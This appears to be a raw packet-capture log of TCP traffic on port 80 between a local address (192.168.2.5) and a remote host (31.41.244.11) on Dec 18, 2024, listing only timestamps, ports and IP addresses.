Dec 18, 2024 19:08:11.398322105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.400265932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.400321007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.400585890 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.400634050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.402403116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.402458906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.402492046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.402564049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.404412031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.404470921 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.404508114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.404556036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.406485081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.406531096 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.406572104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.406621933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.408612013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.408659935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.408763885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.408812046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.410692930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.410742044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.410765886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.410814047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.413002014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.413074970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.413079977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.413129091 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.414969921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.415015936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.415052891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.415103912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.417133093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.417181969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.417229891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.417275906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.419492960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.419542074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.419801950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.419846058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.422071934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.422087908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.422123909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.422152996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.423736095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.423815966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.423866987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.423914909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.425520897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.425738096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.425815105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.427803993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.427881002 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.427911043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.427956104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.429883957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.430002928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.430059910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.431787968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.431855917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.431976080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.432039022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.433720112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.433954000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.434026003 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.514370918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.514394045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.514509916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.514739990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.514755011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.514796972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.514828920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.515851021 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.515870094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.515925884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.517559052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.517652035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.517709970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.519366980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.519431114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.519488096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.519537926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.521233082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.521354914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.521411896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.522861004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.522921085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.522973061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.523021936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.524756908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.524775982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.524837971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.526473045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.526529074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.526554108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.526601076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.528309107 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.528389931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.528443098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.530049086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.530137062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.530174017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.530222893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.531832933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.531852961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.531883001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.531908989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.533607960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.533830881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.533879042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.535281897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.535336018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.535546064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.535604000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.537100077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.537287951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.537364960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.539010048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.539030075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.539083004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.540663958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.540749073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.540811062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.540863991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.542629004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.542650938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.542685032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.542707920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.544325113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.544405937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.544461012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.546087027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.546107054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.546139002 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.546163082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.547919035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.547943115 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.547997952 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.549721003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.549747944 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.549782991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.549817085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.551362991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.551501989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.552228928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.553306103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.553323984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.553369045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.553390026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.554980040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.555002928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.555061102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.556725979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.556749105 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.556806087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.558499098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.558552980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.558561087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.558602095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.560336113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.560354948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.560406923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.562109947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.562129021 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.562160015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.562192917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.563909054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.563927889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.563983917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.565557957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.565578938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.565644026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.566816092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.566874027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.567092896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.568198919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.568262100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.568309069 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.568361044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.569684982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.569703102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.569734097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.569757938 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.571027040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.571084023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.571199894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.572472095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.572493076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.572547913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.573725939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.573781967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.574065924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.574161053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.575119019 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.575180054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.575239897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.575288057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.576658964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.576677084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.576736927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.577924967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.577946901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.577979088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.578006983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.579308033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.579349041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.579408884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.580665112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.581321955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.581384897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.583008051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.583051920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.583098888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.583136082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.584183931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.584204912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.584264040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.585153103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.585174084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.585203886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.585231066 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.586271048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.586289883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.586335897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.587502003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.587564945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.587589025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.587635040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.588939905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.589003086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.589060068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.589396954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.590392113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.590410948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.590464115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.590490103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.591713905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.591936111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.592152119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.593029022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.593451977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.593533039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.593533993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.593578100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.594527006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.594549894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.594588041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.594616890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.595917940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.595941067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.595967054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.596013069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.597291946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.597317934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.597372055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.707669973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.707694054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.707710028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.707727909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.707735062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.707794905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.707794905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.708163023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.708228111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.708231926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.708267927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.709912062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.709930897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.709992886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.710211039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.710268974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.710323095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.710369110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.711069107 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.711261034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.711328983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.712244987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.712261915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.712316036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.713227987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.713277102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.713376999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.713561058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.714169979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.714185953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.714241028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.715250969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.715266943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.715296984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.715344906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.716224909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.716355085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.716444969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.716500998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.717334032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.717442989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.717461109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.717525959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.718485117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.718549967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.718605042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.719654083 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.719680071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.719706059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.719738007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.720752954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.720812082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.721391916 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.721447945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.721863985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.721923113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.721944094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.721972942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.723016024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.723031998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.723062992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.723092079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.724097013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.724157095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.724246979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.724565983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.725248098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.725316048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.725366116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.726351023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.726454020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.726480961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.726511955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.727503061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.727561951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.727732897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.727958918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.728604078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.728816032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.728864908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.729738951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.729801893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.729923964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.729980946 CET	49720	80	192.168.2.5	31.41.244.11
